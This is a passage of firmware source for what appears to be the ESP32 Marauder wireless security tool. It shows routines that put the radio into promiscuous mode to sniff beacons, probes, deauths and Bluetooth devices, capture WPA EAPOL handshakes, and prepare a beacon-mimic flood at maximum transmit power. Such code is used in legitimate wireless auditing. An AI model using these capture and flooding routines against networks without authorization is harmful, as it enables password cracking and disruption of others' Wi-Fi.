  603. display_obj.tft.setCursor(0, SCREEN_HEIGHT / 3);
  604. display_obj.tft.setTextSize(1);
  605. display_obj.tft.setTextColor(TFT_CYAN);
  606. display_obj.tft.println(text_table4[20]);
  607. display_obj.tft.println(text_table4[21] + display_obj.version_number);
  608. display_obj.tft.println(text_table4[22] + (String)esp_get_idf_version());
  609. #endif
  610. if (this->wsl_bypass_enabled) {
  611. #ifdef HAS_SCREEN
  612. display_obj.tft.println(text_table4[23]);
  613. #endif
  614. }
  615. else {
  616. #ifdef HAS_SCREEN
  617. display_obj.tft.println(text_table4[24]);
  618. #endif
  619. }
  620. #ifdef HAS_SCREEN
  621. display_obj.tft.println(text_table4[25] + sta_mac);
  622. display_obj.tft.println(text_table4[26] + ap_mac);
  623. display_obj.tft.println(text_table4[27] + free_ram);
  624. #endif
  625. if (sd_obj.supported) {
  626. #ifdef HAS_SCREEN
  627. display_obj.tft.println(text_table4[28]);
  628. display_obj.tft.print(text_table4[29]);
  629. display_obj.tft.print(sd_obj.card_sz);
  630. display_obj.tft.println("MB");
  631. #endif
  632. }
  633. else {
  634. #ifdef HAS_SCREEN
  635. display_obj.tft.println(text_table4[30]);
  636. display_obj.tft.println(text_table4[31]);
  637. #endif
  638. }
  639. battery_obj.battery_level = battery_obj.getBatteryLevel();
  640. if (battery_obj.i2c_supported) {
  641. #ifdef HAS_SCREEN
  642. display_obj.tft.println(text_table4[32]);
  643. display_obj.tft.println(text_table4[33] + (String)battery_obj.battery_level + "%");
  644. #endif
  645. }
  646. else {
  647. #ifdef HAS_SCREEN
  648. display_obj.tft.println(text_table4[34]);
  649. #endif
  650. }
  651. #ifdef HAS_SCREEN
  652. display_obj.tft.println(text_table4[35] + (String)temp_obj.current_temp + " C");
  653. #endif
  654. }
  655. void WiFiScan::RunEspressifScan(uint8_t scan_mode, uint16_t color) {
  656. sd_obj.openCapture("espressif");
  657. #ifdef MARAUDER_FLIPPER
  658. flipper_led.sniffLED();
  659. #endif
  660. #ifdef HAS_SCREEN
  661. display_obj.TOP_FIXED_AREA_2 = 48;
  662. display_obj.tteBar = true;
  663. display_obj.print_delay_1 = 15;
  664. display_obj.print_delay_2 = 10;
  665. display_obj.initScrollValues(true);
  666. display_obj.tft.setTextWrap(false);
  667. display_obj.tft.setTextColor(TFT_WHITE, color);
  668. #ifndef MARAUDER_MINI
  669. display_obj.tft.fillRect(0,16,240,16, color);
  670. display_obj.tft.drawCentreString(text_table4[36],120,16,2);
  671. display_obj.touchToExit();
  672. #endif
  673. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  674. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  675. #endif
  676. esp_wifi_init(&cfg);
  677. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  678. esp_wifi_set_mode(WIFI_MODE_NULL);
  679. esp_wifi_start();
  680. esp_wifi_set_promiscuous(true);
  681. esp_wifi_set_promiscuous_filter(&filt);
  682. esp_wifi_set_promiscuous_rx_cb(&espressifSnifferCallback);
  683. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  684. this->wifi_initialized = true;
  685. initTime = millis();
  686. }
  687. void WiFiScan::RunPacketMonitor(uint8_t scan_mode, uint16_t color)
  688. {
  689. #ifdef MARAUDER_FLIPPER
  690. flipper_led.sniffLED();
  691. #endif
  692. sd_obj.openCapture("packet_monitor");
  693. #ifndef MARAUDER_MINI
  694. #ifdef HAS_SCREEN
  695. display_obj.tft.init();
  696. display_obj.tft.setRotation(1);
  697. display_obj.tft.fillScreen(TFT_BLACK);
  698. #endif
  699. #ifdef HAS_SCREEN
  700. #ifdef TFT_SHIELD
  701. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  702. Serial.println("Using TFT Shield");
  703. #else if defined(TFT_DIY)
  704. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  705. Serial.println("Using TFT DIY");
  706. #endif
  707. display_obj.tft.setTouch(calData);
  708. //display_obj.tft.setFreeFont(1);
  709. display_obj.tft.setFreeFont(NULL);
  710. display_obj.tft.setTextSize(1);
  711. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
  712. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
  713. delay(10);
  714. display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
  715. display_obj.tftDrawColorKey();
  716. display_obj.tftDrawXScaleButtons(x_scale);
  717. display_obj.tftDrawYScaleButtons(y_scale);
  718. display_obj.tftDrawChannelScaleButtons(set_channel);
  719. display_obj.tftDrawExitScaleButtons();
  720. #endif
  721. #else
  722. #ifdef HAS_SCREEN
  723. display_obj.TOP_FIXED_AREA_2 = 48;
  724. display_obj.tteBar = true;
  725. display_obj.print_delay_1 = 15;
  726. display_obj.print_delay_2 = 10;
  727. display_obj.initScrollValues(true);
  728. display_obj.tft.setTextWrap(false);
  729. display_obj.tft.setTextColor(TFT_WHITE, color);
  730. #ifndef MARAUDER_MINI
  731. display_obj.tft.fillRect(0,16,240,16, color);
  732. display_obj.tft.drawCentreString(text_table4[38],120,16,2);
  733. display_obj.touchToExit();
  734. #endif
  735. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  736. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  737. #endif
  738. #endif
  739. Serial.println("Running packet scan...");
  740. esp_wifi_init(&cfg);
  741. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  742. esp_wifi_set_mode(WIFI_MODE_NULL);
  743. esp_wifi_start();
  744. esp_wifi_set_promiscuous(true);
  745. esp_wifi_set_promiscuous_filter(&filt);
  746. esp_wifi_set_promiscuous_rx_cb(&wifiSnifferCallback);
  747. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  748. this->wifi_initialized = true;
  749. uint32_t initTime = millis();
  750. }
  751. void WiFiScan::RunEapolScan(uint8_t scan_mode, uint16_t color)
  752. {
  753. #ifdef MARAUDER_FLIPPER
  754. flipper_led.sniffLED();
  755. #endif
  756. num_eapol = 0;
  757. #ifndef MARAUDER_MINI
  758. #ifdef HAS_SCREEN
  759. display_obj.tft.init();
  760. display_obj.tft.setRotation(1);
  761. display_obj.tft.fillScreen(TFT_BLACK);
  762. #endif
  763. sd_obj.openCapture("eapol");
  764. #ifdef HAS_SCREEN
  765. #ifdef TFT_SHIELD
  766. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  767. //Serial.println("Using TFT Shield");
  768. #else if defined(TFT_DIY)
  769. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  770. //Serial.println("Using TFT DIY");
  771. #endif
  772. display_obj.tft.setTouch(calData);
  773. display_obj.tft.setFreeFont(NULL);
  774. display_obj.tft.setTextSize(1);
  775. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
  776. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
  777. delay(10);
  778. display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
  779. display_obj.tftDrawEapolColorKey();
  780. display_obj.tftDrawChannelScaleButtons(set_channel);
  781. display_obj.tftDrawExitScaleButtons();
  782. #endif
  783. #else
  784. sd_obj.openCapture("eapol");
  785. #ifdef HAS_SCREEN
  786. display_obj.TOP_FIXED_AREA_2 = 48;
  787. display_obj.tteBar = true;
  788. display_obj.print_delay_1 = 15;
  789. display_obj.print_delay_2 = 10;
  790. display_obj.initScrollValues(true);
  791. display_obj.tft.setTextWrap(false);
  792. display_obj.tft.setTextColor(TFT_WHITE, color);
  793. #ifndef MARAUDER_MINI
  794. display_obj.tft.fillRect(0,16,240,16, color);
  795. display_obj.tft.drawCentreString(text_table4[38],120,16,2);
  796. display_obj.touchToExit();
  797. #endif
  798. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  799. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  800. #endif
  801. #endif
  802. esp_wifi_init(&cfg);
  803. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  804. esp_wifi_set_mode(WIFI_MODE_AP);
  805. esp_err_t err;
  806. wifi_config_t conf;
  807. err = esp_wifi_set_protocol(WIFI_IF_AP, WIFI_PROTOCOL_11B | WIFI_PROTOCOL_11G | WIFI_PROTOCOL_11N | WIFI_PROTOCOL_LR);
  808. if (err != 0)
  809. {
  810. Serial.print("could not set protocol : err=0x");
  811. Serial.println(err, HEX);
  812. }
  813. esp_wifi_get_config((wifi_interface_t)WIFI_IF_AP, &conf);
  814. conf.ap.ssid[0] = '\0';
  815. conf.ap.ssid_len = 0;
  816. conf.ap.channel = this->set_channel;
  817. conf.ap.ssid_hidden = 1;
  818. conf.ap.max_connection = 0;
  819. conf.ap.beacon_interval = 60000;
  820. err = esp_wifi_set_config((wifi_interface_t)WIFI_IF_AP, &conf);
  821. if (err != 0)
  822. {
  823. Serial.print("AP config set error, Maurauder SSID might visible : err=0x");
  824. Serial.println(err, HEX);
  825. }
  826. esp_wifi_start();
  827. esp_wifi_set_promiscuous(true);
  828. esp_wifi_set_promiscuous_filter(&filt);
  829. if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
  830. esp_wifi_set_promiscuous_rx_cb(&activeEapolSnifferCallback);
  831. else
  832. esp_wifi_set_promiscuous_rx_cb(&eapolSnifferCallback);
  833. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  834. this->wifi_initialized = true;
  835. initTime = millis();
  836. }
  837. // Function to prepare for beacon mimic
  838. void WiFiScan::RunMimicFlood(uint8_t scan_mode, uint16_t color) {
  839. #ifdef HAS_SCREEN
  840. display_obj.TOP_FIXED_AREA_2 = 48;
  841. display_obj.tteBar = true;
  842. display_obj.print_delay_1 = 15;
  843. display_obj.print_delay_2 = 10;
  844. display_obj.initScrollValues(true);
  845. display_obj.tft.setTextWrap(false);
  846. display_obj.tft.setTextColor(TFT_BLACK, color);
  847. #ifndef MARAUDER_MINI
  848. display_obj.tft.fillRect(0,16,240,16, color);
  849. display_obj.tft.drawCentreString(" Mimic Flood ",120,16,2);
  850. display_obj.touchToExit();
  851. #endif
  852. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  853. #endif
  854. packets_sent = 0;
  855. esp_wifi_init(&cfg);
  856. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  857. esp_wifi_set_mode(WIFI_AP_STA);
  858. esp_wifi_start();
  859. esp_wifi_set_promiscuous_filter(NULL);
  860. esp_wifi_set_promiscuous(true);
  861. esp_wifi_set_max_tx_power(78);
  862. this->wifi_initialized = true;
  863. initTime = millis();
  864. }
  865. void WiFiScan::RunPwnScan(uint8_t scan_mode, uint16_t color)
  866. {
  867. sd_obj.openCapture("pwnagotchi");
  868. #ifdef MARAUDER_FLIPPER
  869. flipper_led.sniffLED();
  870. #endif
  871. #ifdef HAS_SCREEN
  872. display_obj.TOP_FIXED_AREA_2 = 48;
  873. display_obj.tteBar = true;
  874. display_obj.print_delay_1 = 15;
  875. display_obj.print_delay_2 = 10;
  876. display_obj.initScrollValues(true);
  877. display_obj.tft.setTextWrap(false);
  878. display_obj.tft.setTextColor(TFT_WHITE, color);
  879. #ifndef MARAUDER_MINI
  880. display_obj.tft.fillRect(0,16,240,16, color);
  881. display_obj.tft.drawCentreString(text_table4[37],120,16,2);
  882. display_obj.touchToExit();
  883. #endif
  884. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  885. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  886. #endif
  887. esp_wifi_init(&cfg);
  888. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  889. esp_wifi_set_mode(WIFI_MODE_NULL);
  890. esp_wifi_start();
  891. esp_wifi_set_promiscuous(true);
  892. esp_wifi_set_promiscuous_filter(&filt);
  893. esp_wifi_set_promiscuous_rx_cb(&pwnSnifferCallback);
  894. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  895. this->wifi_initialized = true;
  896. initTime = millis();
  897. }
  898. // Function to start running a beacon scan
  899. void WiFiScan::RunBeaconScan(uint8_t scan_mode, uint16_t color)
  900. {
  901. sd_obj.openCapture("beacon");
  902. #ifdef MARAUDER_FLIPPER
  903. flipper_led.sniffLED();
  904. #endif
  905. #ifdef HAS_SCREEN
  906. display_obj.TOP_FIXED_AREA_2 = 48;
  907. display_obj.tteBar = true;
  908. display_obj.print_delay_1 = 15;
  909. display_obj.print_delay_2 = 10;
  910. display_obj.initScrollValues(true);
  911. display_obj.tft.setTextWrap(false);
  912. display_obj.tft.setTextColor(TFT_WHITE, color);
  913. #ifndef MARAUDER_MINI
  914. display_obj.tft.fillRect(0,16,240,16, color);
  915. display_obj.tft.drawCentreString(text_table4[38],120,16,2);
  916. display_obj.touchToExit();
  917. #endif
  918. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  919. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  920. #endif
  921. esp_wifi_init(&cfg);
  922. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  923. esp_wifi_set_mode(WIFI_MODE_NULL);
  924. esp_wifi_start();
  925. esp_wifi_set_promiscuous(true);
  926. esp_wifi_set_promiscuous_filter(&filt);
  927. esp_wifi_set_promiscuous_rx_cb(&beaconSnifferCallback);
  928. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  929. this->wifi_initialized = true;
  930. initTime = millis();
  931. }
  932. void WiFiScan::RunDeauthScan(uint8_t scan_mode, uint16_t color)
  933. {
  934. sd_obj.openCapture("deauth");
  935. #ifdef MARAUDER_FLIPPER
  936. flipper_led.sniffLED();
  937. #endif
  938. #ifdef HAS_SCREEN
  939. display_obj.TOP_FIXED_AREA_2 = 48;
  940. display_obj.tteBar = true;
  941. display_obj.print_delay_1 = 15;
  942. display_obj.print_delay_2 = 10;
  943. display_obj.initScrollValues(true);
  944. display_obj.tft.setTextWrap(false);
  945. display_obj.tft.setTextColor(TFT_BLACK, color);
  946. #ifndef MARAUDER_MINI
  947. display_obj.tft.fillRect(0,16,240,16, color);
  948. display_obj.tft.drawCentreString(text_table4[39],120,16,2);
  949. display_obj.touchToExit();
  950. #endif
  951. display_obj.tft.setTextColor(TFT_RED, TFT_BLACK);
  952. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  953. #endif
  954. esp_wifi_init(&cfg);
  955. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  956. esp_wifi_set_mode(WIFI_MODE_NULL);
  957. esp_wifi_start();
  958. esp_wifi_set_promiscuous(true);
  959. esp_wifi_set_promiscuous_filter(&filt);
  960. esp_wifi_set_promiscuous_rx_cb(&deauthSnifferCallback);
  961. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  962. this->wifi_initialized = true;
  963. initTime = millis();
  964. }
  965. // Function for running probe request scan
  966. void WiFiScan::RunProbeScan(uint8_t scan_mode, uint16_t color)
  967. {
  968. sd_obj.openCapture("probe");
  969. #ifdef MARAUDER_FLIPPER
  970. flipper_led.sniffLED();
  971. #endif
  972. #ifdef HAS_SCREEN
  973. display_obj.TOP_FIXED_AREA_2 = 48;
  974. display_obj.tteBar = true;
  975. display_obj.print_delay_1 = 15;
  976. display_obj.print_delay_2 = 10;
  977. display_obj.initScrollValues(true);
  978. display_obj.tft.setTextWrap(false);
  979. display_obj.tft.setTextColor(TFT_BLACK, color);
  980. #ifndef MARAUDER_MINI
  981. display_obj.tft.fillRect(0,16,240,16, color);
  982. display_obj.tft.drawCentreString(text_table4[40],120,16,2);
  983. display_obj.touchToExit();
  984. #endif
  985. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  986. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  987. #endif
  988. esp_wifi_init(&cfg);
  989. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  990. esp_wifi_set_mode(WIFI_MODE_NULL);
  991. esp_wifi_start();
  992. esp_wifi_set_promiscuous(true);
  993. esp_wifi_set_promiscuous_filter(&filt);
  994. esp_wifi_set_promiscuous_rx_cb(&probeSnifferCallback);
  995. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  996. this->wifi_initialized = true;
  997. initTime = millis();
  998. }
  999. // Function to start running any BLE scan
  1000. void WiFiScan::RunBluetoothScan(uint8_t scan_mode, uint16_t color)
  1001. {
  1002. #ifdef HAS_BT
  1003. #ifdef HAS_SCREEN
  1004. display_obj.print_delay_1 = 50;
  1005. display_obj.print_delay_2 = 20;
  1006. #endif
  1007. NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
  1008. NimBLEDevice::setScanDuplicateCacheSize(200);
  1009. NimBLEDevice::init("");
  1010. pBLEScan = NimBLEDevice::getScan(); //create new scan
  1011. if (scan_mode == BT_SCAN_ALL)
  1012. {
  1013. #ifdef HAS_SCREEN
  1014. display_obj.TOP_FIXED_AREA_2 = 48;
  1015. display_obj.tteBar = true;
  1016. display_obj.initScrollValues(true);
  1017. display_obj.tft.setTextWrap(false);
  1018. display_obj.tft.setTextColor(TFT_BLACK, color);
  1019. #ifndef MARAUDER_MINI
  1020. display_obj.tft.fillRect(0,16,240,16, color);
  1021. display_obj.tft.drawCentreString(text_table4[41],120,16,2);
  1022. display_obj.touchToExit();
  1023. #endif
  1024. display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
  1025. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  1026. #endif
  1027. pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanAllCallback(), false);
  1028. }
  1029. else if (scan_mode == BT_SCAN_SKIMMERS)
  1030. {
  1031. #ifdef HAS_SCREEN
  1032. display_obj.TOP_FIXED_AREA_2 = 160;
  1033. display_obj.tteBar = true;
  1034. display_obj.tft.fillScreen(TFT_DARKGREY);
  1035. display_obj.initScrollValues(true);
  1036. display_obj.tft.setTextWrap(false);
  1037. display_obj.tft.setTextColor(TFT_BLACK, color);
  1038. display_obj.tft.fillRect(0,16,240,16, color);
  1039. display_obj.tft.drawCentreString(text_table4[42],120,16,2);
  1040. display_obj.twoPartDisplay(text_table4[43]);
  1041. display_obj.tft.setTextColor(TFT_BLACK, TFT_DARKGREY);
  1042. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  1043. #endif
  1044. pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanSkimmersCallback(), false);
  1045. }
  1046. pBLEScan->setActiveScan(true); //active scan uses more power, but get results faster
  1047. pBLEScan->setInterval(97);
  1048. pBLEScan->setWindow(37); // less or equal setInterval value
  1049. pBLEScan->setMaxResults(0);
  1050. pBLEScan->start(0, scanCompleteCB, false);
  1051. Serial.println("Started BLE Scan");
  1052. this->ble_initialized = true;
  1053. initTime = millis();
  1054. #endif
  1055. }
  1056. // Function that is called when BLE scan is completed
  1057. #ifdef HAS_BT
  1058. void WiFiScan::scanCompleteCB(BLEScanResults scanResults) {
  1059. printf("Scan complete!\n");
  1060. printf("Found %d devices\n", scanResults.getCount());
  1061. scanResults.dump();
  1062. } // scanCompleteCB
  1063. #endif
  1064. // Function to extract MAC addr from a packet at given offset
  1065. void WiFiScan::getMAC(char *addr, uint8_t* data, uint16_t offset) {
  1066. sprintf(addr, "%02x:%02x:%02x:%02x:%02x:%02x", data[offset+0], data[offset+1], data[offset+2], data[offset+3], data[offset+4], data[offset+5]);
  1067. }
  1068. void WiFiScan::espressifSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1069. {
  1070. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1071. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1072. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1073. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1074. int len = snifferPacket->rx_ctrl.sig_len;
  1075. String display_string = "";
  1076. String src_addr_string = "";
  1077. if (type == WIFI_PKT_MGMT)
  1078. {
  1079. len -= 4;
  1080. }
  1081. int fctl = ntohs(frameControl->fctl);
  1082. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1083. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1084. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1085. //if ((snifferPacket->payload[0] == 0x80) && (display_obj.display_buffer->size() == 0))
  1086. //{
  1087. char addr[] = "00:00:00:00:00:00";
  1088. getMAC(addr, snifferPacket->payload, 10);
  1089. src_addr_string.concat(addr);
  1090. bool match = false;
  1091. for (int i = 0; i < (sizeof(espressif_macs) / sizeof(espressif_macs[0])); i++) {
  1092. if (src_addr_string.startsWith(espressif_macs[i])) {
  1093. match = true;
  1094. break;
  1095. }
  1096. }
  1097. if (!match)
  1098. return;
  1099. delay(random(0, 10));
  1100. Serial.print("RSSI: ");
  1101. Serial.print(snifferPacket->rx_ctrl.rssi);
  1102. Serial.print(" Ch: ");
  1103. Serial.print(snifferPacket->rx_ctrl.channel);
  1104. Serial.print(" BSSID: ");
  1105. Serial.print(addr);
  1106. //display_string.concat(" RSSI: ");
  1107. //display_string.concat(snifferPacket->rx_ctrl.rssi);
  1108. display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
  1109. //display_string.concat(" ");
  1110. display_string.concat(" -> ");
  1111. display_string.concat(addr);
  1112. for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
  1113. {
  1114. display_string.concat(" ");
  1115. }
  1116. Serial.print(" ");
  1117. #ifdef HAS_SCREEN
  1118. display_obj.loading = true;
  1119. display_obj.display_buffer->add(display_string);
  1120. display_obj.loading = false;
  1121. #endif
  1122. Serial.println();
  1123. if (save_packet)
  1124. sd_obj.addPacket(snifferPacket->payload, len);
  1125. //}
  1126. }
  1127. void WiFiScan::pwnSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1128. {
  1129. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1130. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1131. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1132. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1133. int len = snifferPacket->rx_ctrl.sig_len;
  1134. String display_string = "";
  1135. String src = "";
  1136. String essid = "";
  1137. if (type == WIFI_PKT_MGMT)
  1138. {
  1139. len -= 4;
  1140. int fctl = ntohs(frameControl->fctl);
  1141. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1142. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1143. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1144. #ifdef HAS_SCREEN
  1145. int buf = display_obj.display_buffer->size();
  1146. #else
  1147. int buf = 0;
  1148. #endif
  1149. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1150. {
  1151. char addr[] = "00:00:00:00:00:00";
  1152. getMAC(addr, snifferPacket->payload, 10);
  1153. src.concat(addr);
  1154. if (src == "de:ad:be:ef:de:ad") {
  1155. delay(random(0, 10));
  1156. Serial.print("RSSI: ");
  1157. Serial.print(snifferPacket->rx_ctrl.rssi);
  1158. Serial.print(" Ch: ");
  1159. Serial.print(snifferPacket->rx_ctrl.channel);
  1160. Serial.print(" BSSID: ");
  1161. Serial.print(addr);
  1162. //display_string.concat(addr);
  1163. display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
  1164. Serial.print(" ESSID: ");
  1165. display_string.concat(" -> ");
  1166. // Just grab the first 255 bytes of the pwnagotchi beacon
  1167. // because that is where the name is
  1168. //for (int i = 0; i < snifferPacket->payload[37]; i++)
  1169. for (int i = 0; i < len - 37; i++)
  1170. {
  1171. Serial.print((char)snifferPacket->payload[i + 38]);
  1172. //display_string.concat((char)snifferPacket->payload[i + 38]);
  1173. if (isAscii(snifferPacket->payload[i + 38]))
  1174. essid.concat((char)snifferPacket->payload[i + 38]);
  1175. else
  1176. Serial.println("Got non-ascii character: " + (String)(char)snifferPacket->payload[i + 38]);
  1177. }
  1178. //essid.concat("\": \"\"}}");
  1179. //Serial.println("\n" + (String)(snifferPacket->payload[37]) + " -> " + essid);
  1180. // Load json
  1181. //DynamicJsonBuffer jsonBuffer; // ArduinoJson v5
  1182. DynamicJsonDocument json(1024); // ArduinoJson v6
  1183. //JsonObject& json = jsonBuffer.parseObject(essid); // ArduinoJson v5
  1184. // ArduinoJson v6
  1185. if (deserializeJson(json, essid)) {
  1186. Serial.println("\nCould not parse Pwnagotchi json");
  1187. display_string.concat(essid);
  1188. }
  1189. else {
  1190. Serial.println("\nSuccessfully parsed json");
  1191. String json_output;
  1192. //json.printTo(json_output); // ArduinoJson v5
  1193. serializeJson(json, json_output); // ArduinoJson v6
  1194. Serial.println(json_output);
  1195. display_string.concat(json["name"].as<String>() + " pwnd: " + json["pwnd_tot"].as<String>());
  1196. }
  1197. int temp_len = display_string.length();
  1198. for (int i = 0; i < 40 - temp_len; i++)
  1199. {
  1200. display_string.concat(" ");
  1201. }
  1202. Serial.print(" ");
  1203. #ifdef HAS_SCREEN
  1204. if (display_obj.display_buffer->size() == 0)
  1205. {
  1206. display_obj.loading = true;
  1207. display_obj.display_buffer->add(display_string);
  1208. display_obj.loading = false;
  1209. }
  1210. #endif
  1211. Serial.println();
  1212. if (save_packet)
  1213. sd_obj.addPacket(snifferPacket->payload, len);
  1214. }
  1215. }
  1216. }
  1217. }
  1218. void WiFiScan::apSnifferCallbackFull(void* buf, wifi_promiscuous_pkt_type_t type) {
  1219. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1220. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1221. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1222. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1223. int len = snifferPacket->rx_ctrl.sig_len;
  1224. String display_string = "";
  1225. String essid = "";
  1226. String bssid = "";
  1227. if (type == WIFI_PKT_MGMT)
  1228. {
  1229. len -= 4;
  1230. int fctl = ntohs(frameControl->fctl);
  1231. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1232. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1233. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1234. #ifdef HAS_SCREEN
  1235. int buf = display_obj.display_buffer->size();
  1236. #else
  1237. int buf = 0;
  1238. #endif
  1239. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1240. {
  1241. char addr[] = "00:00:00:00:00:00";
  1242. getMAC(addr, snifferPacket->payload, 10);
  1243. bool in_list = false;
  1244. bool mac_match = true;
  1245. for (int i = 0; i < access_points->size(); i++) {
  1246. mac_match = true;
  1247. //Serial.print("Checking ");
  1248. //Serial.print(addr);
  1249. //Serial.println(" against " + (String)access_points->get(i).essid);
  1250. for (int x = 0; x < 6; x++) {
  1251. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1252. if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
  1253. mac_match = false;
  1254. //Serial.println("MACs do not match");
  1255. break;
  1256. }
  1257. }
  1258. if (mac_match) {
  1259. in_list = true;
  1260. break;
  1261. }
  1262. }
  1263. if (!in_list) {
  1264. delay(random(0, 10));
  1265. Serial.print("RSSI: ");
  1266. Serial.print(snifferPacket->rx_ctrl.rssi);
  1267. Serial.print(" Ch: ");
  1268. Serial.print(snifferPacket->rx_ctrl.channel);
  1269. Serial.print(" BSSID: ");
  1270. Serial.print(addr);
  1271. display_string.concat(addr);
  1272. Serial.print(" ESSID: ");
  1273. display_string.concat(" -> ");
  1274. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1275. {
  1276. Serial.print((char)snifferPacket->payload[i + 38]);
  1277. display_string.concat((char)snifferPacket->payload[i + 38]);
  1278. essid.concat((char)snifferPacket->payload[i + 38]);
  1279. }
  1280. bssid.concat(addr);
  1281. int temp_len = display_string.length();
  1282. for (int i = 0; i < 40 - temp_len; i++)
  1283. {
  1284. display_string.concat(" ");
  1285. }
  1286. Serial.print(" ");
  1287. #ifdef HAS_SCREEN
  1288. if (display_obj.display_buffer->size() == 0)
  1289. {
  1290. display_obj.loading = true;
  1291. display_obj.display_buffer->add(display_string);
  1292. display_obj.loading = false;
  1293. }
  1294. #endif
  1295. if (essid == "") {
  1296. essid = bssid;
  1297. Serial.print(essid + " ");
  1298. }
  1299. //LinkedList<char> beacon = new LinkedList<char>();
  1300. /*AccessPoint ap = {essid,
  1301. snifferPacket->rx_ctrl.channel,
  1302. {snifferPacket->payload[10],
  1303. snifferPacket->payload[11],
  1304. snifferPacket->payload[12],
  1305. snifferPacket->payload[13],
  1306. snifferPacket->payload[14],
  1307. snifferPacket->payload[15]},
  1308. false,
  1309. NULL};*/
  1310. AccessPoint ap;
  1311. ap.essid = essid;
  1312. ap.channel = snifferPacket->rx_ctrl.channel;
  1313. ap.bssid[0] = snifferPacket->payload[10];
